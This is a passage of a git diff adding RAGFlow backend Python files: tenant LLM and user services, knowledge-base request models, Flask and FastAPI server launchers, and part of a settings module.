lang=lang, base_url=model_config["api_base"]) + if llm_type == LLMType.TTS: + if model_config["llm_factory"] not in TTSModel: + return + return TTSModel[model_config["llm_factory"]]( + model_config["api_key"], + model_config["llm_name"], + base_url=model_config["api_base"], + ) + + @classmethod + @DB.connection_context() + def increase_usage(cls, tenant_id, llm_type, used_tokens, llm_name=None): + e, tenant = TenantService.get_by_id(tenant_id) + if not e: + logging.error(f"Tenant not found: {tenant_id}") + return 0 + + llm_map = { + LLMType.EMBEDDING.value: tenant.embd_id if not llm_name else llm_name, + LLMType.SPEECH2TEXT.value: tenant.asr_id, + LLMType.IMAGE2TEXT.value: tenant.img2txt_id, + LLMType.CHAT.value: tenant.llm_id if not llm_name else llm_name, + LLMType.RERANK.value: tenant.rerank_id if not llm_name else llm_name, + LLMType.TTS.value: tenant.tts_id if not llm_name else llm_name, + } + + mdlnm = llm_map.get(llm_type) + if mdlnm is None: + logging.error(f"LLM type error: {llm_type}") + return 0 + + llm_name, llm_factory = TenantLLMService.split_model_name_and_factory(mdlnm) + + try: + num = ( + cls.model.update(used_tokens=cls.model.used_tokens + used_tokens) + .where(cls.model.tenant_id == tenant_id, cls.model.llm_name == llm_name, cls.model.llm_factory == llm_factory if llm_factory else True) + .execute() + ) + except Exception: + logging.exception("TenantLLMService.increase_usage got exception,Failed to update used_tokens for tenant_id=%s, llm_name=%s", tenant_id, llm_name) + return 0 + + return num + + @classmethod + @DB.connection_context() + def get_openai_models(cls): + objs = cls.model.select().where((cls.model.llm_factory == "OpenAI"), ~(cls.model.llm_name == "text-embedding-3-small"), ~(cls.model.llm_name == "text-embedding-3-large")).dicts() + return list(objs) + + @classmethod + @DB.connection_context() + def delete_by_tenant_id(cls, tenant_id): + return cls.model.delete().where(cls.model.tenant_id == tenant_id).execute() + + @staticmethod + def llm_id2llm_type(llm_id: str) -> str | None: + from api.db.services.llm_service import LLMService + llm_id, *_ = TenantLLMService.split_model_name_and_factory(llm_id) + llm_factories = settings.FACTORY_LLM_INFOS + for llm_factory in llm_factories: + for llm in llm_factory["llm"]: + if llm_id == llm["llm_name"]: + return llm["model_type"].split(",")[-1] + + for llm in LLMService.query(llm_name=llm_id): + return llm.model_type + + llm = TenantLLMService.get_or_none(llm_name=llm_id) + if llm: + return llm.model_type + for llm in TenantLLMService.query(llm_name=llm_id): + return llm.model_type + + +class LLM4Tenant: + def __init__(self, tenant_id, llm_type, llm_name=None, lang="Chinese", **kwargs): + self.tenant_id = tenant_id + self.llm_type = llm_type + self.llm_name = llm_name + self.mdl = TenantLLMService.model_instance(tenant_id, llm_type, llm_name, lang=lang, **kwargs) + assert self.mdl, "Can't find model for {}/{}/{}".format(tenant_id, llm_type, llm_name) + model_config = TenantLLMService.get_model_config(tenant_id, llm_type, llm_name) + self.max_length = model_config.get("max_tokens", 8192) + + self.is_tools = model_config.get("is_tools", False) + self.verbose_tool_use = kwargs.get("verbose_tool_use") + + langfuse_keys = TenantLangfuseService.filter_by_tenant(tenant_id=tenant_id) + self.langfuse = None + if langfuse_keys: + langfuse = Langfuse(public_key=langfuse_keys.public_key, secret_key=langfuse_keys.secret_key, host=langfuse_keys.host) + if langfuse.auth_check(): + self.langfuse = langfuse + trace_id = self.langfuse.create_trace_id() + self.trace_context = {"trace_id": trace_id} \ No newline at end of file diff --git a/api/db/services/user_canvas_version.py b/api/db/services/user_canvas_version.py new file mode 100644 index 0000000..9696a78 --- /dev/null +++ b/api/db/services/user_canvas_version.py @@ -0,0 +1,63 @@ +from api.db.db_models import UserCanvasVersion, DB +from api.db.services.common_service import CommonService +from peewee import DoesNotExist + +class UserCanvasVersionService(CommonService): + model = UserCanvasVersion + + + @classmethod + @DB.connection_context() + def list_by_canvas_id(cls, user_canvas_id): + try: + user_canvas_version = cls.model.select( + *[cls.model.id, + cls.model.create_time, + cls.model.title, + cls.model.create_date, + cls.model.update_date, + cls.model.user_canvas_id, + cls.model.update_time] + ).where(cls.model.user_canvas_id == user_canvas_id) + return user_canvas_version + except DoesNotExist: + return None + except Exception: + return None + + @classmethod + @DB.connection_context() + def get_all_canvas_version_by_canvas_ids(cls, canvas_ids): + fields = [cls.model.id] + versions = cls.model.select(*fields).where(cls.model.user_canvas_id.in_(canvas_ids)) + versions.order_by(cls.model.create_time.asc()) + offset, limit = 0, 100 + res = [] + while True: + version_batch = versions.offset(offset).limit(limit) + _temp = list(version_batch.dicts()) + if not _temp: + break + res.extend(_temp) + offset += limit + return res + + @classmethod + @DB.connection_context() + def delete_all_versions(cls, user_canvas_id): + try: + user_canvas_version = cls.model.select().where(cls.model.user_canvas_id == user_canvas_id).order_by(cls.model.create_time.desc()) + if user_canvas_version.count() > 20: + delete_ids = [] + for i in range(20, user_canvas_version.count()): + delete_ids.append(user_canvas_version[i].id) + + cls.delete_by_ids(delete_ids) + return True + except DoesNotExist: + return None + except Exception: + return None + + + diff --git a/api/db/services/user_service.py b/api/db/services/user_service.py new file mode 100644 index 0000000..00fb837 --- /dev/null +++ b/api/db/services/user_service.py @@ -0,0 +1,318 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import hashlib +from datetime import datetime +import logging + +import peewee +from werkzeug.security import generate_password_hash, check_password_hash + +from api.db import UserTenantRole +from api.db.db_models import DB, UserTenant +from api.db.db_models import User, Tenant +from api.db.services.common_service import CommonService +from api.utils import get_uuid, current_timestamp, datetime_format +from api.db import StatusEnum +from rag.settings import MINIO + + +class UserService(CommonService): + """Service class for managing user-related database operations. + + This class extends CommonService to provide specialized functionality for user management, + including authentication, user creation, updates, and deletions. + + Attributes: + model: The User model class for database operations. + """ + model = User + + @classmethod + @DB.connection_context() + def query(cls, cols=None, reverse=None, order_by=None, **kwargs): + if 'access_token' in kwargs: + access_token = kwargs['access_token'] + + # Reject empty, None, or whitespace-only access tokens + if not access_token or not str(access_token).strip(): + logging.warning("UserService.query: Rejecting empty access_token query") + return cls.model.select().where(cls.model.id == "INVALID_EMPTY_TOKEN") # Returns empty result + + # Reject tokens that are too short (should be UUID, 32+ chars) + if len(str(access_token).strip()) < 32: + logging.warning(f"UserService.query: Rejecting short access_token query: {len(str(access_token))} chars") + return cls.model.select().where(cls.model.id == "INVALID_SHORT_TOKEN") # Returns empty result + + # Reject tokens that start with "INVALID_" (from logout) + if str(access_token).startswith("INVALID_"): + logging.warning("UserService.query: Rejecting invalidated access_token") + return cls.model.select().where(cls.model.id == "INVALID_LOGOUT_TOKEN") # Returns empty result + + # Call parent query method for valid requests + return super().query(cols=cols, reverse=reverse, order_by=order_by, **kwargs) + + @classmethod + @DB.connection_context() + def filter_by_id(cls, user_id): + """Retrieve a user by their ID. + + Args: + user_id: The unique identifier of the user. + + Returns: + User object if found, None otherwise. + """ + try: + user = cls.model.select().where(cls.model.id == user_id).get() + return user + except peewee.DoesNotExist: + return None + + @classmethod + @DB.connection_context() + def query_user(cls, email, password): + """Authenticate a user with email and password. + + Args: + email: User's email address. + password: User's password in plain text. + + Returns: + User object if authentication successful, None otherwise. + """ + user = cls.model.select().where((cls.model.email == email), + (cls.model.status == StatusEnum.VALID.value)).first() + if user and check_password_hash(str(user.password), password): + return user + else: + return None + + @classmethod + @DB.connection_context() + def query_user_by_email(cls, email): + users = cls.model.select().where((cls.model.email == email)) + return list(users) + + @classmethod + @DB.connection_context() + def save(cls, **kwargs): + if "id" not in kwargs: + kwargs["id"] = get_uuid() + if "password" in kwargs: + kwargs["password"] = generate_password_hash( + str(kwargs["password"])) + + kwargs["create_time"] = current_timestamp() + kwargs["create_date"] = datetime_format(datetime.now()) + kwargs["update_time"] = current_timestamp() + kwargs["update_date"] = datetime_format(datetime.now()) + obj = cls.model(**kwargs).save(force_insert=True) + return obj + + @classmethod + @DB.connection_context() + def delete_user(cls, user_ids, update_user_dict): + with DB.atomic(): + cls.model.update({"status": 0}).where( + cls.model.id.in_(user_ids)).execute() + + @classmethod + @DB.connection_context() + def update_user(cls, user_id, user_dict): + with DB.atomic(): + if user_dict: + user_dict["update_time"] = current_timestamp() + user_dict["update_date"] = datetime_format(datetime.now()) + cls.model.update(user_dict).where( + cls.model.id == user_id).execute() + + @classmethod + @DB.connection_context() + def update_user_password(cls, user_id, new_password): + with DB.atomic(): + update_dict = { + "password": generate_password_hash(str(new_password)), + "update_time": current_timestamp(), + "update_date": datetime_format(datetime.now()) + } + cls.model.update(update_dict).where(cls.model.id == user_id).execute() + + @classmethod + @DB.connection_context() + def is_admin(cls, user_id): + return cls.model.select().where( + cls.model.id == user_id, + cls.model.is_superuser == 1).count() > 0 + + @classmethod + @DB.connection_context() + def get_all_users(cls): + users = cls.model.select() + return list(users) + + +class TenantService(CommonService): + """Service class for managing tenant-related database operations. + + This class extends CommonService to provide functionality for tenant management, + including tenant information retrieval and credit management. + + Attributes: + model: The Tenant model class for database operations. + """ + model = Tenant + + @classmethod + @DB.connection_context() + def get_info_by(cls, user_id): + fields = [ + cls.model.id.alias("tenant_id"), + cls.model.name, + cls.model.llm_id, + cls.model.embd_id, + cls.model.rerank_id, + cls.model.asr_id, + cls.model.img2txt_id, + cls.model.tts_id, + cls.model.parser_ids, + UserTenant.role] + return list(cls.model.select(*fields) + .join(UserTenant, on=((cls.model.id == UserTenant.tenant_id) & (UserTenant.user_id == user_id) & (UserTenant.status == StatusEnum.VALID.value) & (UserTenant.role == UserTenantRole.OWNER))) + .where(cls.model.status == StatusEnum.VALID.value).dicts()) + + @classmethod + @DB.connection_context() + def get_joined_tenants_by_user_id(cls, user_id): + fields = [ + cls.model.id.alias("tenant_id"), + cls.model.name, + cls.model.llm_id, + cls.model.embd_id, + cls.model.asr_id, + cls.model.img2txt_id, + UserTenant.role] + return list(cls.model.select(*fields) + .join(UserTenant, on=((cls.model.id == UserTenant.tenant_id) & (UserTenant.user_id == user_id) & (UserTenant.status == StatusEnum.VALID.value) & (UserTenant.role == UserTenantRole.NORMAL))) + .where(cls.model.status == StatusEnum.VALID.value).dicts()) + + @classmethod + @DB.connection_context() + def decrease(cls, user_id, num): + num = cls.model.update(credit=cls.model.credit - num).where( + cls.model.id == user_id).execute() + if num == 0: + raise LookupError("Tenant not found which is supposed to be there") + + @classmethod + @DB.connection_context() + def user_gateway(cls, tenant_id): + hashobj = hashlib.sha256(tenant_id.encode("utf-8")) + return int(hashobj.hexdigest(), 16)%len(MINIO) + + +class UserTenantService(CommonService): + """Service class for managing user-tenant relationship operations. + + This class extends CommonService to handle the many-to-many relationship + between users and tenants, managing user roles and tenant memberships. + + Attributes: + model: The UserTenant model class for database operations. + """ + model = UserTenant + + @classmethod + @DB.connection_context() + def filter_by_id(cls, user_tenant_id): + try: + user_tenant = cls.model.select().where((cls.model.id == user_tenant_id) & (cls.model.status == StatusEnum.VALID.value)).get() + return user_tenant + except peewee.DoesNotExist: + return None + + @classmethod + @DB.connection_context() + def save(cls, **kwargs): + if "id" not in kwargs: + kwargs["id"] = get_uuid() + obj = cls.model(**kwargs).save(force_insert=True) + return obj + + @classmethod + @DB.connection_context() + def get_by_tenant_id(cls, tenant_id): + fields = [ + cls.model.id, + cls.model.user_id, + cls.model.status, + cls.model.role, + User.nickname, + User.email, + User.avatar, + User.is_authenticated, + User.is_active, + User.is_anonymous, + User.status, + User.update_date, + User.is_superuser] + return list(cls.model.select(*fields) + .join(User, on=((cls.model.user_id == User.id) & (cls.model.status == StatusEnum.VALID.value) & (cls.model.role != UserTenantRole.OWNER))) + .where(cls.model.tenant_id == tenant_id) + .dicts()) + + @classmethod + @DB.connection_context() + def get_tenants_by_user_id(cls, user_id): + fields = [ + cls.model.tenant_id, + cls.model.role, + User.nickname, + User.email, + User.avatar, + User.update_date + ] + return list(cls.model.select(*fields) + .join(User, on=((cls.model.tenant_id == User.id) & (UserTenant.user_id == user_id) & (UserTenant.status == StatusEnum.VALID.value))) + .where(cls.model.status == StatusEnum.VALID.value).dicts()) + + @classmethod + @DB.connection_context() + def get_user_tenant_relation_by_user_id(cls, user_id): + fields = [ + cls.model.id, + cls.model.user_id, + cls.model.tenant_id, + cls.model.role + ] + return list(cls.model.select(*fields).where(cls.model.user_id == user_id).dicts().dicts()) + + @classmethod + @DB.connection_context() + def get_num_members(cls, user_id: str): + cnt_members = cls.model.select(peewee.fn.COUNT(cls.model.id)).where(cls.model.tenant_id == user_id).scalar() + return cnt_members + + @classmethod + @DB.connection_context() + def filter_by_tenant_and_user_id(cls, tenant_id, user_id): + try: + user_tenant = cls.model.select().where( + (cls.model.tenant_id == tenant_id) & (cls.model.status == StatusEnum.VALID.value) & + (cls.model.user_id == user_id) + ).first() + return user_tenant + except peewee.DoesNotExist: + return None diff --git a/api/models/kb_models.py b/api/models/kb_models.py new file mode 100644 index 0000000..6fb66dd --- /dev/null +++ b/api/models/kb_models.py @@ -0,0 +1,92 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from typing import Optional, List, Dict, Any +from pydantic import BaseModel, Field + + +class CreateKnowledgeBaseRequest(BaseModel): + """创建知识库请求模型""" + name: str = Field(..., description="知识库名称") + description: Optional[str] = Field(None, description="知识库描述") + parser_id: Optional[str] = Field("naive", description="解析器ID") + parser_config: Optional[Dict[str, Any]] = Field(None, description="解析器配置") + embd_id: Optional[str] = Field(None, description="嵌入模型ID") + + +class UpdateKnowledgeBaseRequest(BaseModel): + """更新知识库请求模型""" + kb_id: str = Field(..., description="知识库ID") + name: str = Field(..., description="知识库名称") + pagerank: Optional[int] = Field(0, description="页面排名") + + +class DeleteKnowledgeBaseRequest(BaseModel): + """删除知识库请求模型""" + kb_id: str = Field(..., description="知识库ID") + + +class ListKnowledgeBasesRequest(BaseModel): + """列出知识库请求模型""" + owner_ids: Optional[List[str]] = Field([], description="所有者ID列表") + + +class RemoveTagsRequest(BaseModel): + """移除标签请求模型""" + tags: List[str] = Field(..., description="要移除的标签列表") + + +class RenameTagRequest(BaseModel): + """重命名标签请求模型""" + from_tag: str = Field(..., description="原标签名") + to_tag: str = Field(..., description="新标签名") + + +class RunGraphRAGRequest(BaseModel): + """运行GraphRAG请求模型""" + kb_id: str = Field(..., description="知识库ID") + + +class RunRaptorRequest(BaseModel): + """运行RAPTOR请求模型""" + kb_id: str = Field(..., description="知识库ID") + + +class RunMindmapRequest(BaseModel): + """运行Mindmap请求模型""" + kb_id: str = Field(..., description="知识库ID") + + +class ListPipelineLogsRequest(BaseModel): + """列出管道日志请求模型""" + operation_status: Optional[List[str]] = Field([], description="操作状态列表") + types: Optional[List[str]] = Field([], description="文件类型列表") + suffix: Optional[List[str]] = Field([], description="文件后缀列表") + + +class ListPipelineDatasetLogsRequest(BaseModel): + """列出管道数据集日志请求模型""" + operation_status: Optional[List[str]] = Field([], description="操作状态列表") + + +class DeletePipelineLogsRequest(BaseModel): + """删除管道日志请求模型""" + log_ids: List[str] = Field(..., description="日志ID列表") + + +class UnbindTaskRequest(BaseModel): + """解绑任务请求模型""" + kb_id: str = Field(..., description="知识库ID") + pipeline_task_type: str = Field(..., description="管道任务类型") diff --git a/api/ragflow_server.py b/api/ragflow_server.py new file mode 100644 index 0000000..fb49f3d --- /dev/null +++ b/api/ragflow_server.py @@ -0,0 +1,170 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +# from beartype import BeartypeConf +# from beartype.claw import beartype_all # <-- you didn't sign up for this +# beartype_all(conf=BeartypeConf(violation_type=UserWarning)) # <-- emit warnings from all code + +from api.utils.log_utils import init_root_logger +from plugin import GlobalPluginManager +init_root_logger("ragflow_server") + +import logging +import os +import signal +import sys +import time +import traceback +import threading +import uuid + +from werkzeug.serving import run_simple +from api import settings +from api.apps import app, smtp_mail_server +from api.db.runtime_config import RuntimeConfig +from api.db.services.document_service import DocumentService +from api import utils + +from api.db.db_models import init_database_tables as init_web_db +from api.db.init_data import init_web_data +from api.versions import get_ragflow_version +from api.utils.configs import show_configs +from rag.settings import print_rag_settings +from rag.utils.mcp_tool_call_conn import shutdown_all_mcp_sessions +from rag.utils.redis_conn import RedisDistributedLock + +stop_event = threading.Event() + +RAGFLOW_DEBUGPY_LISTEN = int(os.environ.get('RAGFLOW_DEBUGPY_LISTEN', "0")) + +def update_progress(): + lock_value = str(uuid.uuid4()) + redis_lock = RedisDistributedLock("update_progress", lock_value=lock_value, timeout=60) + logging.info(f"update_progress lock_value: {lock_value}") + while not stop_event.is_set(): + try: + if redis_lock.acquire(): + DocumentService.update_progress() + redis_lock.release() + except Exception: + logging.exception("update_progress exception") + finally: + try: + redis_lock.release() + except Exception: + logging.exception("update_progress exception") + stop_event.wait(6) + +def signal_handler(sig, frame): + logging.info("Received interrupt signal, shutting down...") + shutdown_all_mcp_sessions() + stop_event.set() + time.sleep(1) + sys.exit(0) + +if __name__ == '__main__': + logging.info(r""" + ____ ___ ______ ______ __ + / __ \ / | / ____// ____// /____ _ __ + / /_/ // /| | / / __ / /_ / // __ \| | /| / / + / _, _// ___ |/ /_/ // __/ / // /_/ /| |/ |/ / + /_/ |_|/_/ |_|\____//_/ /_/ \____/ |__/|__/ + + """) + logging.info( + f'RAGFlow version: {get_ragflow_version()}' + ) + logging.info( + f'project base: {utils.file_utils.get_project_base_directory()}' + ) + show_configs() + settings.init_settings() + print_rag_settings() + + if RAGFLOW_DEBUGPY_LISTEN > 0: + logging.info(f"debugpy listen on {RAGFLOW_DEBUGPY_LISTEN}") + import debugpy + debugpy.listen(("0.0.0.0", RAGFLOW_DEBUGPY_LISTEN)) + + # init db + init_web_db() + init_web_data() + # init runtime config + import argparse + + parser = argparse.ArgumentParser() + parser.add_argument( + "--version", default=False, help="RAGFlow version", action="store_true" + ) + parser.add_argument( + "--debug", default=False, help="debug mode", action="store_true" + ) + args = parser.parse_args() + if args.version: + print(get_ragflow_version()) + sys.exit(0) + + RuntimeConfig.DEBUG = args.debug + if RuntimeConfig.DEBUG: + logging.info("run on debug mode") + + RuntimeConfig.init_env() + RuntimeConfig.init_config(JOB_SERVER_HOST=settings.HOST_IP, HTTP_PORT=settings.HOST_PORT) + + GlobalPluginManager.load_plugins() + + signal.signal(signal.SIGINT, signal_handler) + signal.signal(signal.SIGTERM, signal_handler) + + def delayed_start_update_progress(): + logging.info("Starting update_progress thread (delayed)") + t = threading.Thread(target=update_progress, daemon=True) + t.start() + + if RuntimeConfig.DEBUG: + if os.environ.get("WERKZEUG_RUN_MAIN") == "true": + threading.Timer(1.0, delayed_start_update_progress).start() + else: + threading.Timer(1.0, delayed_start_update_progress).start() + + # init smtp server + if settings.SMTP_CONF: + app.config["MAIL_SERVER"] = settings.MAIL_SERVER + app.config["MAIL_PORT"] = settings.MAIL_PORT + app.config["MAIL_USE_SSL"] = settings.MAIL_USE_SSL + app.config["MAIL_USE_TLS"] = settings.MAIL_USE_TLS + app.config["MAIL_USERNAME"] = settings.MAIL_USERNAME + app.config["MAIL_PASSWORD"] = settings.MAIL_PASSWORD + app.config["MAIL_DEFAULT_SENDER"] = settings.MAIL_DEFAULT_SENDER + smtp_mail_server.init_app(app) + + + # start http server + try: + logging.info("RAGFlow HTTP server start...") + run_simple( + hostname=settings.HOST_IP, + port=settings.HOST_PORT, + application=app, + threaded=True, + use_reloader=RuntimeConfig.DEBUG, + use_debugger=RuntimeConfig.DEBUG, + ) + except Exception: + traceback.print_exc() + stop_event.set() + time.sleep(1) + os.kill(os.getpid(), signal.SIGKILL) diff --git a/api/ragflow_server_fastapi.py b/api/ragflow_server_fastapi.py new file mode 100644 index 0000000..ff89230 --- /dev/null +++ b/api/ragflow_server_fastapi.py @@ -0,0 +1,179 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +from api.utils.log_utils import init_root_logger +from plugin import GlobalPluginManager +init_root_logger("ragflow_server") + +import logging +import os +import signal +import sys +import time +import traceback +import threading +import uuid +import argparse + +import uvicorn + +from api import settings +from api.db.runtime_config import RuntimeConfig +from api.db.services.document_service import DocumentService +from api import utils + +from api.db.db_models import init_database_tables as init_web_db +from api.db.init_data import init_web_data +from api.versions import get_ragflow_version +from api.utils.configs import show_configs +from rag.settings import print_rag_settings +from rag.utils.mcp_tool_call_conn import shutdown_all_mcp_sessions +from rag.utils.redis_conn import RedisDistributedLock + +# 全局停止事件 +stop_event = threading.Event() + +# 调试端口配置 +RAGFLOW_DEBUGPY_LISTEN = int(os.environ.get('RAGFLOW_DEBUGPY_LISTEN', "0")) + +def update_progress(): + """更新进度线程函数""" + lock_value = str(uuid.uuid4()) + redis_lock = RedisDistributedLock("update_progress", lock_value=lock_value, timeout=60) + logging.info(f"update_progress lock_value: {lock_value}") + while not stop_event.is_set(): + try: + if redis_lock.acquire(): + DocumentService.update_progress() + redis_lock.release() + except Exception: + logging.exception("update_progress exception") + finally: + try: + redis_lock.release() + except Exception: + logging.exception("update_progress exception") + stop_event.wait(6) + +def signal_handler(sig, frame): + """信号处理器""" + logging.info("Received interrupt signal, shutting down...") + shutdown_all_mcp_sessions() + stop_event.set() + time.sleep(1) + sys.exit(0) + +def setup_health_check(app): + """设置健康检查端点""" + @app.get("/health") + async def health_check(): + return {"status": "healthy", "version": get_ragflow_version()} + +def main(): + """主函数""" + logging.info(r""" + ____ ___ ______ ______ __ + / __ \ / | / ____// ____// /____ _ __ + / /_/ // /| | / / __ / /_ / // __ \| | /| / / + / _, _// ___ |/ /_/ // __/ / // /_/ /| |/ |/ / + /_/ |_|/_/ |_|\____//_/ /_/ \____/ |__/|__/ + + """) + logging.info(f'RAGFlow version: {get_ragflow_version()}') + logging.info(f'project base: {utils.file_utils.get_project_base_directory()}') + + show_configs() + settings.init_settings() + print_rag_settings() + + # 调试模式配置 + if RAGFLOW_DEBUGPY_LISTEN > 0: + logging.info(f"debugpy listen on {RAGFLOW_DEBUGPY_LISTEN}") + try: + import debugpy + debugpy.listen(("0.0.0.0", RAGFLOW_DEBUGPY_LISTEN)) + except ImportError: + logging.warning("debugpy not available, skipping debug setup") + + # 初始化数据库 + init_web_db() + init_web_data() + + # 解析命令行参数 + parser = argparse.ArgumentParser() + parser.add_argument( + "--version", default=False, help="RAGFlow version", action="store_true" + ) + parser.add_argument( + "--debug", default=False, help="debug mode", action="store_true" + ) + args = parser.parse_args() + + if args.version: + print(get_ragflow_version()) + sys.exit(0) + + RuntimeConfig.DEBUG = args.debug + if RuntimeConfig.DEBUG: + logging.info("run on debug mode") + + RuntimeConfig.init_env() + RuntimeConfig.init_config(JOB_SERVER_HOST=settings.HOST_IP, HTTP_PORT=settings.HOST_PORT) + + # 加载插件 + GlobalPluginManager.load_plugins() + + # 设置信号处理器 + signal.signal(signal.SIGINT, signal_handler) + signal.signal(signal.SIGTERM, signal_handler) + + def delayed_start_update_progress(): + """延迟启动进度更新线程""" + logging.info("Starting update_progress thread (delayed)") + t = threading.Thread(target=update_progress, daemon=True) + t.start() + + # 启动进度更新线程 + if RuntimeConfig.DEBUG: + threading.Timer(1.0, delayed_start_update_progress).start() + else: + threading.Timer(1.0, delayed_start_update_progress).start() + + # 导入FastAPI应用 + from api.apps.__init___fastapi import app + + # 设置健康检查端点 + setup_health_check(app) + + # 启动HTTP服务器 + try: + logging.info("RAGFlow HTTP server start...") + uvicorn.run( + app, + host=settings.HOST_IP, + port=settings.HOST_PORT, + log_level="info" if not RuntimeConfig.DEBUG else "debug", + reload=RuntimeConfig.DEBUG, + access_log=True + ) + except Exception: + traceback.print_exc() + stop_event.set() + time.sleep(1) + os.kill(os.getpid(), signal.SIGKILL) + +if __name__ == '__main__': + main() diff --git a/api/settings.py b/api/settings.py new file mode 100644 index 0000000..e6763d8 --- /dev/null +++ b/api/settings.py @@ -0,0 +1,278 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import json +import os +import secrets +from datetime import date +from enum import Enum, IntEnum + +import rag.utils +import rag.utils.es_conn +import rag.utils.infinity_conn +import rag.utils.opensearch_conn +from api.constants import RAG_FLOW_SERVICE_NAME +from api.utils.configs import decrypt_database_config, get_base_config +from api.utils.file_utils import get_project_base_directory +from rag.nlp import search + +LIGHTEN = int(os.environ.get("LIGHTEN", "0")) + +LLM = None +LLM_FACTORY = None +LLM_BASE_URL = None +CHAT_MDL = "" +EMBEDDING_MDL = "" +RERANK_MDL = "" +ASR_MDL = "" +IMAGE2TEXT_MDL = "" +CHAT_CFG = "" +EMBEDDING_CFG = "" +RERANK_CFG = "" +ASR_CFG = "" +IMAGE2TEXT_CFG = "" +API_KEY = None +PARSERS = None +HOST_IP = None +HOST_PORT = None +SECRET_KEY = None +FACTORY_LLM_INFOS = None + +DATABASE_TYPE = os.getenv("DB_TYPE", "mysql") +DATABASE = decrypt_database_config(name=DATABASE_TYPE) + +# authentication +AUTHENTICATION_CONF = None + +# client +CLIENT_AUTHENTICATION = None +HTTP_APP_KEY = None +GITHUB_OAUTH = None +FEISHU_OAUTH = None +OAUTH_CONFIG = None +DOC_ENGINE = None +docStoreConn = None + +retrievaler = None +kg_retrievaler = None + +# user registration switch +REGISTER_ENABLED = 1 + + +# sandbox-executor-manager +SANDBOX_ENABLED = 0 +SANDBOX_HOST = None +STRONG_TEST_COUNT = int(os.environ.get("STRONG_TEST_COUNT", "8")) + +BUILTIN_EMBEDDING_MODELS = ["BAAI/bge-large-zh-v1.5@BAAI", "maidalun1020/bce-embedding-base_v1@Youdao"] + +SMTP_CONF = None +MAIL_SERVER = "" +MAIL_PORT = 000 +MAIL_USE_SSL= True +MAIL_USE_TLS = False +MAIL_USERNAME = "" +MAIL_PASSWORD = "" +MAIL_DEFAULT_SENDER = () +MAIL_FRONTEND_URL = "" + + +def get_or_create_secret_key(): + secret_key = os.environ.get("RAGFLOW_SECRET_KEY") + if secret_key and len(secret_key) >= 32: + return secret_key + + # Check if there's a configured secret key + configured_key = get_base_config(RAG_FLOW_SERVICE_NAME, {}).get("secret_key") + if configured_key and configured_key != str(date.today()) and len(configured_key) >= 32: + return configured_key + + # Generate a new secure key and warn about it + import logging + + new_key = secrets.token_hex(32) + logging.warning(f"SECURITY WARNING: Using auto-generated SECRET_KEY. Generated key: {new_key}") + return new_key + + +def init_settings(): + global LLM, LLM_FACTORY, LLM_BASE_URL, LIGHTEN, DATABASE_TYPE, DATABASE, FACTORY_LLM_INFOS, REGISTER_ENABLED + LIGHTEN = int(os.environ.get("LIGHTEN", "0")) + DATABASE_TYPE = os.getenv("DB_TYPE", "mysql") + DATABASE = decrypt_database_config(name=DATABASE_TYPE) + LLM = get_base_config("user_default_llm", {}) or {} + LLM_DEFAULT_MODELS = LLM.get("default_models", {}) or {} + LLM_FACTORY = LLM.get("factory", "") or "" + LLM_BASE_URL = LLM.get("base_url", "") or "" + try: + REGISTER_ENABLED = int(os.environ.get("REGISTER_ENABLED", "1")) + except Exception: + pass + + try: + with open(os.path.join(get_project_base_directory(), "conf", "llm_factories.json"), "r") as f: + FACTORY_LLM_INFOS = json.load(f)["factory_llm_infos"] + except Exception: + FACTORY_LLM_INFOS = [] + + global CHAT_MDL, EMBEDDING_MDL, RERANK_MDL, ASR_MDL, IMAGE2TEXT_MDL + global CHAT_CFG, EMBEDDING_CFG, RERANK_CFG, ASR_CFG, IMAGE2TEXT_CFG + if not LIGHTEN: + EMBEDDING_MDL = BUILTIN_EMBEDDING_MODELS[0] + + global API_KEY, PARSERS, HOST_IP, HOST_PORT, SECRET_KEY + API_KEY = LLM.get("api_key") + PARSERS = LLM.get( + "parsers", "naive:General,qa:Q&A,resume:Resume,manual:Manual,table:Table,paper:Paper,book:Book,laws:Laws,presentation:Presentation,picture:Picture,one:One,audio:Audio,email:Email,tag:Tag" + ) + + chat_entry = _parse_model_entry(LLM_DEFAULT_MODELS.get("chat_model", CHAT_MDL)) + embedding_entry = _parse_model_entry(LLM_DEFAULT_MODELS.get("embedding_model", EMBEDDING_MDL)) + rerank_entry = 